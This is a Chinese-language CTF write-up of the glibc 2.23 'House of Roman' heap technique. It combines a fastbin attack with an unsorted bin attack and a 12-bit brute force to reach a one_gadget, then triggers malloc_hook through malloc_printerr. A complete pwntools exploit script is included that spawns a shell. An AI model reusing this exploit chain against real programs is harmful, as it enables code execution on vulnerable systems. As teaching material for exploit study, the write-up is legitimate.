House of Roman / malloc_printerr间接调用malloc函数执行malloc_hook

news2024/9/24 1:16:37

文章目录

  • House of Roman
    • 介绍:
    • 原理:
    • 例子:
      • 思路:
      • 分析:
      • 利用:

House of Roman

介绍:

  1. House of Roman 这个技巧说简单点其实就是 fastbin attackUnsortbin attack 结合的一个小 trick。
  2. 该技术用于 bypass ALSR,利用 12-bit 的爆破来达到获取 shell 的目的。且仅仅只需要一个 UAF 漏洞以及能创建任意大小的 chunk 的情况下就能完成利用。

应用场景:没show函数,且got表无法修改。

原理:

前提:关闭alsr:sudo sh -c ‘echo 0 > /proc/sys/kernel/randomize_va_space’

  1. 修改 FD 指向 malloc_hook
  2. 里利用unsorted bin,往 malloc_hook 写入 main_arena_88
  3. 再局部修改main_arena_88 ==> onegadget

例子:

题目地址:House-Of-Roman

思路:

  1. 利用mian_arena_88地址来覆盖fastbin的fd指针,再修改低位字节 使之指向malloc_hook-0x23。
  2. 再利用unsorted bin attack向malloc_hook写入main_arena_88。
  3. 然后申请到包含malloc_hook的chunk,进而修改上面的main_arena_88的低3字节,使之指向one_gadget。
  4. 再触发malloc_hook ==》这里介绍两种触发malloc_hook的链。

分析:

  1. 没有show函数,开PIE,改got表基本行不通:

    image-20240819165823604

    image-20240819165850250

  2. free函数中存在UAF漏洞,edit存在off_by_one漏洞:

    image-20240819165937153

    image-20240819170005968

利用:

  1. 先利用mian_arena_88地址来覆盖fastbin的fd指针,并修改指向malloc_hook-0x23:

    • 利用off_by_one修改size字段,造成overlap,这里要在下一个chunk中伪造好fake_chunk,使之衔接到top_chunk,可以看这篇文章后面又仔细介绍: 伪造unsortedbin释放时 top chunk的衔接问题 。
    • 释放进入unsorted bin之后,再申请相应大小的chunk,使main_arena_88地址覆盖fd指针
    add(0x18,0)
    add(0x58,1)
    add(0x68,2)
    
    # malloc malloc_hook
    edit(0,p64(0)*3+b"\x91") #修改size
    edit(2,p64(0)*5 + p64(0x11) + p64(0) + p64(1))	#fake_chunk
    free(1)
    free(2)	#安排进入fastbin
    add(0x58,3)	#推动main_arena_88地址覆盖掉fastbin的fd指针,这里fastbin中chunk的size会被修改
    edit(3,p64(0)*11 + b"\x71") #改回fastbin的size,后面申请chunk使会检查size
    edit(2,b"\xed\x4a")
    add(0x68,4)
    add(0x68,5)
    
    edit(5,b"AAAAAAAA")
    

    推动地址之前的堆分布:

    image-20240819171346343

    推动地址之后的堆分布,可以看到fd指针被成功覆盖掉:

    image-20240819171641883

    局部修改fd指针,使之指向malloc_hook-0x23 ,后面就能直接申请到包含malloc_hook的chunk了:

    image-20240819172040371

  2. 构造unsorted bin attack,向malloc_hook处写入main_arena地址:

    # unsorted bin attack
    free(4)
    edit(4,p64(0))
    add(0x68,10)
    edit(2,p64(0) + b"\x00")
    add(0x68,1)
    

    image-20240819172433714

    修改后成功指向malloc_hook:

    image-20240819172510092

    触发unsorted bin attack 向malloc_hook上写入main_arena_88地址:

    image-20240819172618749

  3. 局部修改malloc_hook上的地址,使之能指向onegadget:

    # 填入 one_gadget
    one_gadget = [0x4527a,0xf03a4,0xf1247]
    edit(5,p64(0)*2 + b"\x00"*3 + b"\xa4\x03\x8f")
    
    

    但是我们在程序中是没有获得libc地址的,那要如何得到one_gadget地址呢,就需要采用12bit爆破来一个一个试了:

    最低的3位0x3a4是一定和one_gadget偏移相同的,随意只需要爆破中间的3位,这里就是0x8f0,一共是12bit,所以需要爆破12bit,1/4096的概率,应该是能爆出来的,这里我就直接填进去了。

    image-20240819173232004

  4. 最后是触发malloc_hook函数指针,平常的方法是再申请一个chunk,在_int_malloc函数中就会检查malloc_hook:

    add(0x68,1)	# malloc触发
    
    free(4)	# 报错后使用malloc_printerr函数触发
    free(4)
    

    先看第一种,malloc来触发:

    这里_libc_malloc函数中检查malloc_hook指针是否为空

    image-20240819174019574

    调用malloc_hook处的函数,但是可以看到one_gadget的使用条件并不达标,[rsp+0x50] != 0,所以这个one_gadget不符合,使用另外两个one_gadget条件任然不符合约束,主要是该位置的栈布局达不到one_gadget执行的条件,所以难道one_gadget直接pass掉了?如果能换一个栈布局或许one_gadget约束就能达成了呢:

    image-20240819174257813

    所以要换一个别的栈空间,来匹配one_gadget执行,那还有什么方法能够不直接调用malloc,从而执行malloc_hook呢?那就是报错,使用malloc_printerr函数来变向调用malloc函数,下面观察malloc_printerr函数调用malloc函数时的栈,利用double free来触发malloc_printerr:

    image-20240819175301047

    上面可以看到调用触发malloc_printerr后,继续调用了一长串函数,最终调用到了malloc函数,这时的栈空间与直接调用malloc函数时肯定不一样:

    刚好满足one_gadget的约束条件,所以使用malloc_printerr函数简介调用malloc可以满足约束。

    image-20240819175650369

    成功getshell:

    image-20240819175753261

    如果换一种方法触发malloc_printerr函数报错,是否也能间接调用malloc函数呢:

    利用完unsorted bin attack后,此时unsorted bin被破坏,再释放一个unsorted bin可定会报错

    image-20240819180353598

    虽然报错方法不一样,但是后面调用到malloc_printerr函数,最后也能间接调用到malloc函数:

    image-20240819181101726

    image-20240819180921807

    并且getshell,拿到flag,可以看到这里报错和前面double free不一样:

    image-20240819181243445

  5. fastbin检查double free,进而调用malloc_printerr函数报错的源码:

    image-20240819180001842

    image-20240819175942571

  6. 完整EXP:

    from pwn import *
    import numpy as np
    # from LibcSearcher import *
    context(os='linux', arch='amd64', log_level='debug')
    
    
    
    def debug():
        gdb.attach(p)
    
    def add(size,index):
        p.sendlineafter(b'ee',b'1')
        p.sendlineafter(b':',str(size).encode())
        p.sendlineafter(b':',str(index).encode())
        # p.sendafter(b"?",name)
    
    def edit(index,content):
        p.sendlineafter(b'ee',b'2')
        p.sendlineafter(b':',str(index).encode())
        # p.sendlineafter(b":",str(len(content)).encode())
        p.sendafter(b":",content)
    
    # def show():
    #     p.sendlineafter(b':',b'3')
    
    def free(index):
        p.sendlineafter(b'ee',b'3')
        p.sendlineafter(b':',str(index).encode())
    
    # p = remote("node4.anna.nssctf.cn",28864)
    # libc = ELF('./libc.so.6')
    p = process("./new_chall") 
    libc = ELF("/home/kali/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
    # elf = ELF("./pwn")
    
    # unsorted bin ==> malloc_hook ==> unsorted bin attack
    p.sendline(b"lzl")
    add(0x18,0)
    add(0x58,1)
    add(0x68,2)
    add(0x100,9)
    add(0x18,6)
    
    # malloc malloc_hook
    edit(0,p64(0)*3+b"\x91")
    edit(2,p64(0)*5 + p64(0x11) + p64(0) + p64(1))
    free(1)
    free(2)
    
    add(0x58,3)
    edit(3,p64(0)*11 + b"\x71")
    edit(2,b"\xed\x4a")
    add(0x68,4)
    add(0x68,5)
    
    edit(5,b"AAAAAAAA")
    
    # unsorted bin attack
    free(4)
    edit(4,p64(0))
    add(0x68,10)
    
    edit(2,p64(0) + b"\x00")
    add(0x68,1)
    
    # 填入 one_gadget
    one_gadget = [0x4527a,0xf03a4,0xf1247]
    edit(5,p64(0)*2 + b"\x00"*3 + b"\xa4\x03\x8f")
    # edit(5,p64(0)*2 + b"\x00"*3 + b"\x47\x12\x8f")
    # edit(5,p64(0)*2 + b"\x00"*3 + b"\x7a\x52\x84")
    
    debug()
    free(9)		#unsorted bin报错
    
    #free(4)	#fastbin中的double free报错
    #free(4)
    p.sendline(b"cat flag")
    p.interactive()
    

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2053738.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

python-字符串操作(赛氪OJ)

[题目描述] 给定长度为 n 的只有小写字母的字符串 s ,进行 m 次操作,每次将 [l,r] 范围内所有 c1 字符改成 c2 ,输出操作完的字符串。输入格式: 第一行两个数 n , m , 第二行一个字符串 s , 之后 m 行&…

Ubuntu修改命令提示符格式PS1

命令提示符组成 通过Xshell进入Ubuntu的默认提示符是这样的 rootDESKTOP:~# root: 当前登录用户DESKTOP:主机名~: 当前目录名(即用户主目录)#:超级用户权限(root用户显示)$: 普通用户权限(非root用户显示) 修改命令提示符 step1…

linux 环境下 配置jenkins前端服务

前期准备 如果没有&#xff0c;需要安装插件 <b>HH:mm:ss</b> <b>HH:mm:ss.S</b> $PROJECT_NAME - Build # $BUILD_NUMBER - $BUILD_STATUS! 连接服务器的密码 测试 前端部署 需要安装nodejs的插件 执行脚本 node -v npm install rm -rf ./dist…

未解决:不同类型的数据用memcpy然后打印(printf)出问题

引子&#xff1a; 本来是搜memcpy在拷贝两个数组时两数组下标类型不同的问题&#xff0c;即&#xff0c;若一个数组是很长&#xff0c;其下标用long型&#xff0c;要将此数组的一小段拷贝到另一个数组中&#xff0c;这另一个数组的下标只需要用int型&#xff0c;不确定会不会出…

C++高性能编程:ZeroMQ vs Fast-DDS发布-订阅模式下性能对比与分析

文章目录 0. 引言1. 目标&#xff1a;ZeroMQ与Fast-DDS性能对比2. ZeroMQ vs Fast-DDS - 延迟基准测试2.1 一对一发布-订阅延迟2.2 一对多发布-订阅延迟 3. ZeroMQ vs Fast-DDS - 吞吐量基准测试4. 方法论5. 结论6. 参考 0. 引言 高要求的分布式系统催生了对轻量级且高性能中间…

MATLAB口罩检测系统

一、应用背景 作为数字图像处理和计算机视觉领域的一个重要组成部分&#xff0c;利用摄像机对图像进行采集&#xff0c;从图像中检测人脸并进行口罩穿戴的识别的有着非常重要的研究意义和应用价值。面对突如其来的新型肺炎疫情&#xff0c;人们生活秩序被严重打乱。跟普通流感…

前端Vue监听路由变化, 点击页面内按钮跳转菜单更改导航菜单选中状态

1.问题描述 当我们进入页面时的菜单导航栏是默认选中的状态如图 点击博客园效果如图 问题1&#xff1a; 但是当我们点击页面上方返回按钮时&#xff0c;导航栏选中状态没有改变 分析问题1&#xff1a; 这个问题是因为页面改变后页面里面存储的菜单导航栏的is-active属性没有改…

WIFI 密码

要破解 WIFI 密码&#xff0c;首先要抓到 WIFI 的握手包&#xff0c;要想得到 WIFI 的握手包&#xff0c;就需要在监听时刚好有设备连接了该 WIFI&#xff0c;但这就需要运气加成&#xff0c;因此可以我们可以主动将该 WIFI 的设备踢下去&#xff0c;一般设备就会自动连接该 WI…

机器学习:逻辑回归算法实现鸢尾花预测和银行数据处理

1、鸢尾花预测 1、特征选择 2、对特征处理 trainpd.read_excel("鸢尾花训练数据.xlsx") testpd.read_excel("鸢尾花测试数据.xlsx") x_traintrain[["萼片长(cm)","萼片宽(cm)","花瓣长(cm)","花瓣宽(cm)"]] y_tr…

HTML及CSS面试题4

1、BFC 1.1、介绍BFC及其应用 补充——触发BFC的方式&#xff0c;常见的有&#xff1a; 设置浮动overflow设置为&#xff1a;auto、scroll、hiddenpositon设置为&#xff1a;absolute、fixed 介绍&#xff1a; ○ 所谓BFC&#xff0c;指的是&#xff1a;一个独立的布局环境&am…

C2M商业模式分析与运营平台建设解决方案(一)

C2M&#xff08;Customer to Manufacturer&#xff09;商业模式通过直接将消费者需求与生产商对接&#xff0c;极大提升了生产效率和市场响应速度&#xff0c;本文将探讨如何通过构建高效的运营平台&#xff0c;利用大数据分析、人工智能算法及灵活的供应链管理&#xff0c;优化…

四川汇昌联信做拼多多电商怎么样?

近年来&#xff0c;拼多多凭借其独特的社交电商模式迅速崛起&#xff0c;成为国内领先的电商平台之一。四川汇昌联信作为一家专注于电商领域的企业&#xff0c;涉足拼多多平台无疑是顺应市场趋势的明智之举。那么&#xff0c;四川汇昌联信在拼多多平台上的表现如何呢? 一、产品…

推荐国产跨平台、轻量级的文本编辑器 Notepad-- v2.18

Notepad-- 是使用C编写的轻量级文本编辑器, 简称ndd, 可以支持Window/Mac/Linux操作系统平台。 我们的目标&#xff1a;完成文本编辑类软件的国产可替代&#xff0c;重点在国产Uos/Linux系统、Mac 系统上发展。 对比其它竞品Notepad类软件而言&#xff0c;我们的优势是可以跨…

【unix高级编程系列】信号

引言 以前对信号的理解&#xff0c;仅仅停留在main函数入口注册几个异常信号&#xff08;SIGPIPE、SIGSEGV、SIGFPE&#xff09;处理函数。当捕获到异常时&#xff0c;将进程的堆栈进行打印&#xff0c;方便排查、定位问题。这一类问题我认为是利用linux系统的异常信号机制&am…

系统架构师选择题知识点笔记

系统架构师复习笔记 选择题知识点 分布数据库特性 分片透明性&#xff1a;指用户或应用程序不需要知道逻辑上访问的表具体是怎么分块存储的&#xff1b;复制透明性&#xff1a;指采用复制技术的分布方法&#xff0c;用户不需要知道数据是复制到哪些节点上&#xff1b;逻辑透…

AI绘画网站爆款推荐,人人都是艺术家!

嗨&#xff0c;小伙伴们&#xff0c;最近AI 绘画简直是火出了新高度&#xff01;网上那么多 AI 绘图站&#xff0c;你或许已经眼花缭乱。但悄悄告诉你&#xff0c;有些站点只能照搬照片&#xff0c;却不让你天马行空地改造&#xff0c;想找一个既聪明又有创意的 AI 画家&#x…

Nginx详解配置实例及企业高性能web服务器

目录 企业高性能web服务器 一.Web 服务基础介绍 1.1 互联网发展历程回顾 1.2 Web 服务介绍 1.2.1 Apache 经典的 Web 服务端 1.2.1.1 Apache prefork 模型 1.2.1.2 Apache worker 模型 1.2.1.3 Apache event模型 1.2.2 Nginx-高性能的 Web 服务端 1.2.3服务端 I/O 流…

循环图神经网络教程2——循环图神经网络

介绍 循环图神经网络&#xff08;Recurrent Graph Neural Network&#xff0c;RGNN&#xff09;。在标准神经网络中&#xff0c;连续的学习权重层用于从输入张量中逐步提取更高级别的特征。在用于计算机视觉的神经网络中&#xff0c;低级特征(如短直线和曲线)的存在是由较早的…

Java类的卸载

类、类的加载器、类的实例之间的引用关系 类的生命周期 类的加载器如下&#xff1a;

进程部分相关概念

进程 进程是一个程序执行的过程&#xff0c;会去分配内存资源&#xff0c;cpu的调度 进程不仅仅是一个正在运行的程序&#xff0c;它包含了程序执行所需的所有资源和状态信息 资源分配&#xff1a;操作系统会为每个进程分配必要的资源&#xff0c;如内存空间、文件句柄等。这些…